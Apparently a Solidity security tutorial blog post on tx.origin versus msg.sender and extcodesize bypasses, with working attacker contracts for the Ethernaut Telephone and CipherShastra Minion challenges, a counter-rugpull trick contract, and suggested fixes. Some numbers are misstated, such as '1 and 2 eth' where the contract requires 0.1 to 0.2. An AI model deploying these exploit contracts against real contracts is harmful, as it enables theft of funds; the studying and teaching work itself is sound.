Who's Calling?

Who's Calling?

As you know there are two types of accounts in ethereum, externally owned accounts(EOA) and contracts. There is absolutely no way of knowing if an address is that of an EOA or that of a contract just by looking at the 20-bytes address. Sometimes, we want the address making a call to a function to be that of a contract, that's the case for flash loans, and sometimes, we want it to be that of an EOA, that's the case for minting an NFT for example. Hence, knowing the type of account that is making a call is crucial. Sometimes, we want a certain address only to be able to call a function. For instance, we only want the owner of the NFT to call the sell() function. Checking for EOA/contracts and authorisation hasn't always been a walk in the park as the cryptoverse has witnessed multiple hacks where this one line verification was exploited. In this article, we'll determine the best way to make this verification using your own judgement based on the EVM knowledge you will get.

tx.origin vs msg.sender

  • tx.origin is the address that originates a transaction, hence, it is always an EOA as contracts cannot originate transactions.
  • msg.sender of a certain function in a contract is the address of the account(EOA or contract) that called that function.
    A is an EOA. B and C are contracts. Let's say A calls B and B calls C.
A -> B -> C for B for C
msg.sender A B
tx.origin A A
tx.origin is always a msg.sender but a msg.sender is not always a tx.origin
tx.origin is always an EOA, msg.sender can be any account
tx.origin = Conan, msg.sender = Kogoro

Hence, for authorisation, never use tx.origin, as it might not be the address making the call. In fact, another contract might contain a method that makes the call to that function. Use msg.sender instead, that way you are sure that the address making the call is the actual address calling the function.

Security Pitfall

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract RugPull {

  address public owner;

  constructor() {
    owner = msg.sender;
  }

  function withdrawAll(address receiver) external {
    require(tx.origin == owner, "only owner can withdraw");
    (bool succ,) = receiver.call{value: address(this).balance}("");
    require(succ, "withdrawal failed");
  }

  receive() external payable {
    
  }
}

Let's say a really bad hacker is trying to fool non-tech stakers with a beautiful frontend hiding a rugpull contract. The front invites the stakers to stake their ETH for a certain period of time in exchange for staking rewards. Let's imagine he succeeds at getting ETH deposited to his RugPull contract address by naive stakers who don't have a tech background.

Now a more proficient smart contract dev/auditor discovers this really bad rugpull implementation and decides to counter it by calling the withdrawAll() function to send the funds to himself before paying back the addresses that sent ETH to the RugPull contract, that can be found on etherscan.

What the ethical hacker came up with to reverse the rug pull is a fake smart contract hacking course that would be advertised to the malicious hacker. The fake course would cost about 0.001 ETH and given the level of competence of the malicious hacker I doubt he would turn down the offer. These funds would have to be sent to a certain address, nothing to be suspicious about... Except that the receiver address would correspond to that of the contract developed by the ethical hacker in the aim of recovering the stakers funds. This contract would contain a fallback that would be triggered when the malicious hacker sends the 0.001 ETH.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract ReverseRugPull {

  address public owner;
  RugPull public immutable i_rugPull;
  
  constructor(address rugPull) {
    owner = msg.sender;
    i_rugPull = RugPull(rugPull);
  }

  receive() external payable {
    i_rugPull.withdrawAll(owner);
  }
}

Ethernaut Challenge: Telephone

The Ethernaut
The Ethernaut is a Web3/Solidity based wargame played in the Ethereum Virtual Machine. Each level is a smart contract that needs to be ‘hacked’. The game is 100% open source and all levels are contributions made by other players.

The goal of this challenge is to become the owner of this Telephone contract.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Telephone {

  address public owner;

  constructor() {
    owner = msg.sender;
  }

  function changeOwner(address _owner) public {
    if (tx.origin != msg.sender) {
      owner = _owner;
    }
  }
}

When reading the code, we notice that owner is set twice, once in the constructor() and once in the changeOwner(address _owner) function. Knowing the contract is already deployed, the only interesting option that is left to us is the changeOwner(address _owner) function. However, there's a condition in order to set owner to our address:

tx.origin != msg.sender

This literally means that the address initiating the transaction should be different from the address making the call to that function. In fact, it also means that the address making the call cannot be an EOA, it has to be a contract.

tx.origin is mandatorily the USER address provided to us by ethernaut, but that should not be the address that is making the call to changeOwner() even though we are technically the ones who want to make that call. How can we bypass this condition?

Well in this case, the best and easiest thing we can come up with would be to create a malicious contract that the USER would call, to trigger the malicious contract's call to changeOwner(), making us tx.origin and our malicious contract msg.sender.

Here's how it would look like practically:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Malicious {

  Telephone immutable i_telephone;

  constructor(address telephone) {
    i_telephone = Telephone(telephone);
  }

  function attack() external {
    i_telephone.changeOwner(msg.sender);
  }
}

Deploy the contracts and call the attack() function

  • Deploy the contracts
  • call the attack() function
  • Check the address of the owner, it should be the USER address
  • Congrats you're the new owner

Fix

Replace:

  • if (tx.origin != msg.sender)

With:

  • if (msg.sender == owner)

Extcodesize

extcodesize() is a yul-evm-builtin that returns the size of the runtime code of an account. It actually uses the EXTCODESIZE opcode under the hood. It stands for external code size. It's no surprise that it is always 0 for EOA. It should be non-zero for contracts, but that is not always the case, sometimes the contract only contains a constructor, and we will get an extcodesize() that returns 0. That is the case for contracts in construction, since the code is only stored at the end of the constructor execution.

Security Pitfalls

Hence, checking the EXTCODESIZE of an address is not secure at all to check the type of account that is making the call. You must be wandering how malicious can a smart contract that only contains a constructor be. Well let's take a look:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract NoContract {
    function isContract(address account) public view returns (bool) {
        uint size;
        assembly {
            size := extcodesize(account)
        }
        return size > 0;
    }
    
    function forbidsContracts() external returns (bool eoa) {
        require(!isContract(msg.sender), "contracts are forbidden");
        eoa = true;
    }
}
contract Attack {
    constructor(address _noContract) public {
        NoContract noContract = NoContract(_noContract);
        bool hacked = noContract.forbidsContracts();
    }
}

CipherShastra Challenge: Minion

CipherShastra
Call Me Anytime! Wait... Can You Even Call Me? @goerli: 0x5b0754f254c55420dc7f02270671e630707a9bc0

Go through the code for a few minutes so you have a good understanding of the code and pass this challenge.

pragma solidity ^0.8.0;
contract Minion{
    mapping(address => uint256) private contributionAmount;
    mapping(address => bool) private pwned;
    address public owner;
    uint256 private constant MINIMUM_CONTRIBUTION = (1 ether)/10;
    uint256 private constant MAXIMUM_CONTRIBUTION = (1 ether)/5;
    
    constructor(){
        owner = msg.sender;
    }

    function isContract(address account) internal view returns(bool){
        uint256 size;
        assembly {
            size := extcodesize(account)
        }
        return size > 0;
    }    
    function pwn() external payable{
        require(tx.origin != msg.sender, "Well we are not allowing EOAs, sorry");
        require(!isContract(msg.sender), "Well we don't allow Contracts either");
        require(msg.value >= MINIMUM_CONTRIBUTION, "Minimum Contribution needed is 0.1 ether");
        require(msg.value <= MAXIMUM_CONTRIBUTION, "How did you get so much money? Max allowed is 0.2 ether");
        require(block.timestamp % 120 >= 0 && block.timestamp % 120 < 60, "Not the right time");
        contributionAmount[msg.sender] += msg.value;
        
        if(contributionAmount[msg.sender] >= 1 ether){
            pwned[msg.sender] = true;
            
        }
    }
    
    function verify(address account) external view returns(bool){
     require(account != address(0), "You trynna trick me?");
     return pwned[account];
    }
    
    function retrieve() external{
        require(msg.sender == owner, "Are you the owner?");
        require(address(this).balance > 0, "No balance, you greedy hooman");
        payable(owner).transfer(address(this).balance);
    }

    function timeVal() external view returns(uint256){
        return block.timestamp;
    }
}

Vulnerable contract

No for real, go through the code, don't just jump to the answer.
Okay I will assume you read it.
Just before starting, in case you don't have prior experience in CTFs or audits in general. Never trust error messages, comments and more generally testnames in test suites you're auditing, they're what the developers think it's doing, it's not always what it is actually doing, in order to not have a biased opinion on the code, avoid trusting these 3:

  • error messages
  • comments
  • tests (You will get what I mean when you start auditing)

If you went through the blog post, you should have a clear idea of the vulnerability present in the above contract and how we can exploit it.

  • Goal: pwned[OUR_ADDRESS] = true;
  • How to achieve it: call the pwn() function obviously and pass all the requirements and conditions to set pwned[msg.sender] to true
  • 1st check: require(tx.origin != msg.sender) is actually the best way to check for EOAs/contracts, you can rest assured that there's noway for the caller to be an EOA. Since there are only 2 types of accounts, msg.sender has to be the address of a contract.
  • 2nd check: require(!isContract(msg.sender), "Well we don't allow Contracts either"); I don't care about the error message, it has to be a contract, there's no other way, especially that it is calling a function you got familiar with and know for a fact that it is vulnerable to attacks of contracts that only contains a constructor, we already explained that above
  • 3rd-4th checks: We have to send between 1 and 2 eth when we call pwn()
  • 5th check: block.timestamp is in seconds so block.timestamp % 120 == 0 when the minute is even, otherwise it is odd. pwn() has to be called when the minutes are even, otherwise it reverts. I don't personally think that the block.timestamp % 120 >= 0 check is useful as it is always be true, it is bad practice, especially gas-wise
  • Then contributionAmount[msg.sender] += msg.value;
  • 6th check: if (contributionAmount[msg.sender] >= 1 ether), this check cannot be passed by calling pwn() once, it requires 5 calls to pwn() while sending the maximum amount of ETH we can send in a single call: 0.2 ETH
  • If we pass all these checks, we will have solved the challenge
  • Copy paste the code on remix and try implementing a malicious contract to solve the challenge.
  • Here's what I came up with:
contract Attacker {
    constructor(address _addr) payable{
      require(block.timestamp % 120 < 60,"Not the right time!");
          Minion(_addr).pwn{value:0.2 ether}();
          Minion(_addr).pwn{value:0.2 ether}();
          Minion(_addr).pwn{value:0.2 ether}();
          Minion(_addr).pwn{value:0.2 ether}();
          Minion(_addr).pwn{value:0.2 ether}();
  }
}

Our malicious contract

  • Deploy it with 1 ETH by passing to argument the address of the Minion Contract
  • If the transaction reverts when deploying your contract, it might not be the right time to do it, remember the minutes should be even.
  • Call the view method verify() of the Minion contract by passing to argument the address of the malicious contract we've just created.
  • It should return true
  • If it does then congrats, you have solved the challenge

Node Guardians Quest: Bypassing extcodesize()

Try this one yourself, node guardians' solutions cannot be shared

Bypassing extcodesize() - Learn Solidity - CTF - Node Guardians: Level up your programming skills
Some contracts use extcodesize() as a method to discern smart contracts from externally owned accounts. However, this should not be mistaken as a foolproof approach. Figure out how extcodesize() can be cleverly bypassed.

Takeaway

The conclusion I would make from everything gathered in this blog post would be:

  • For EOA check use: if (msg.sender == tx.origin)
  • For authorisation use: if (msg.sender == owner)
  • Avoid extcodesize()

Side Note

Crypto mass adoption needs 2 things, we will focus on the 2nd:

  • Smart contract security achieved through high quality audits
  • Account abstraction - I will write a post precisely about account abstraction in the future - the goal would be to abstract all the technical stuff people have been dealing with up to this day regarding wallet creation or crypto transfers mainly. To reach mass adoption, we should aim at targeting all the age groups, meemaw shouldn't have to know about seed phrases, private keys and public keys. These are some details that make the onboarding into the cryptoverse quite unappealing. Hence, EOAs would be replaced by smart contract wallets or smart accounts, what does that mean now concerning smart contract development? Well, contracts should not prevent other contracts from interacting with them, even though this is something we have been doing up to this point.